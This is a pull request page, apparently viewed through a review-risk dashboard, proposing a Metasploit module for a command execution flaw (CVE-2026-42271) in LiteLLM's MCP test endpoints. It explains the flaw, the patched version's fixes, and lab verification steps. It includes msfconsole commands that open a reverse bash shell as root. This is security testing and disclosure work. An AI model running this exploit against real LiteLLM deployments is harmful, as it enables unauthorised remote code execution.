← Back to Pull requests

Add LiteLLM MCP test endpoint command execution exploit (CVE-2026-42271) #21585

Closed
unknown closed this pull request without merging on Sep 28, 2026 17:54 UTC
View on GitHub
unknown unknown commented on Jun 19, 2026 12:35 UTC
Author

Overview

Adds an exploit module for CVE-2026-42271, a command execution flaw in the
BerriAI LiteLLM proxy's MCP "test" REST endpoints
(GHSA-v4p8-mg3p-g94g, on the
CISA KEV list).

POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list accept a
full MCP server configuration in the request body. When transport is stdio,
LiteLLM spawns the supplied command/args as a subprocess on the proxy host.
On affected versions (1.74.2–1.83.6) both endpoints are gated only by
user_api_key_auth and the command is unrestricted, so any valid virtual key —
including a low-privilege, non-admin key — yields command execution as the proxy
process.

1.83.7 fixed it with two controls, both confirmed in the lab:

  • a PROXY_ADMIN role check on both endpoints (non-admin → HTTP 403), and

  • an stdio command allowlist (deno, docker, node, npx, python, python3, uvx),

  • so /bin/sh is rejected with HTTP 422 regardless of role.

    The module sends command=/bin/sh, args=["-c", <payload>]. Execution is blind
    (the spawned process is not an MCP server, so the endpoint returns a connection
    error after the command runs), so a callback payload is used.

    check is side-effect-free: it prefers the /health version banner, then falls
    back to probing the command allowlist with a non-existent command path — a
    patched build returns 422 before any spawn, a vulnerable build returns a generic
    connection error (the missing binary never executes).

    Verification

    Lab: litellm/litellm:main-v1.83.3-stable (vulnerable) and
    main-v1.83.7-stable (patched), each DB-backed, with a non-admin virtual key
    minted via /key/generate.

  • ruby -c passes; module loads in msfconsole

  • check returns Appears against 1.83.3 and Safe against 1.83.7

  • (true positive + true negative, same non-admin key)
  • run with cmd/unix/reverse_bash returns a session as uid=0(root)

  • against 1.83.3
  • run against 1.83.7 fails cleanly (HTTP 422, command allowlist)
  • msf6 > use exploit/multi/http/litellm_mcp_test_cmd_injection
    msf6 > set RHOSTS <target> ; set APIKEY <non-admin key> ; set LHOST <ip>
    msf6 > set PAYLOAD cmd/unix/reverse_bash
    msf6 > check
    [*] The target appears to be vulnerable. The MCP test endpoint accepted an arbitrary stdio command (HTTP 200)
    msf6 > run
    [*] Command shell session 1 opened ...
    id
    uid=0(root) gid=0(root) groups=0(root),...
    

    Note: the master key is PROXY_ADMIN, so the module expects a non-admin
    APIKEY — that is the privilege boundary the CVE describes.

    Diff: 325 lines (+243 / -82) across 4 files Reviewer: kenlacroix Review duration: 145759m
    All Vouch review confidence checks passed
    Residual risk 0.19 = Change Risk (0.47) × (1 − Review Confidence (0.60)). Review depth and reviewer attention state are adequate.
    Model 1 · Change Risk (XGBoost)
    Score: 0.47 · 325 lines diff across 4 files
    0.47
    Model 2 · Review Depth (DistilBERT)
    Depth Score: 0.17 · 1 substantive comment(s)
    0.17
    Model 3 · Review Timing & Attention
    Session adequacy: 100% · Reviewer familiarity: 35%
    60%
    Bedrock Claude 3 · Risk Narration
    (disconnected)
    Groq
    Groq Risk Narration
    AWS Bedrock is currently disconnected. Generate high-confidence PR triage narration on-demand using Groq.
    Model 1 · Change Risk Attribution
    SHAP Weights
    Diff Size diff_size
    0.346
    Shallow Review Depth shallow_review_depth
    0.289
    Ai Authored ai_authored
    0.050
    Real PR Conversation Timeline
    1 comments
    "Review active on #21585"
    general weight: 0.35
    Reviewers
    Assignees
    Unassigned
    Labels
    risk: low confidence: 60.5% reviewed
    Vouch Risk Breakdown
    AI-powered review risk analysis
    Change Risk
    Change Risk · Model 1 (XGBoost)
    Predicted defect probability (0.00–1.00) based on diff churn, modified sensitive files, and author risk history.
    Score: 47% (MEDIUM) · Higher = larger blast radius
    47%
    Review Confidence
    Review Confidence · Models 2 & 3
    Scrutiny score (0.00–1.00) combining DistilBERT semantic review depth with reviewer familiarity and session dwell time.
    Score: 60.5% · Lower = rushed or shallow review
    60.5%
    Residual Risk
    Residual Risk · Core Equation
    Residual = Change × (1 − Confidence)
    Unmitigated risk surviving review. ≥ 0.65 triggers an automated re-queue to protect production.
    Score: 18.6% · Safe to merge
    18.6%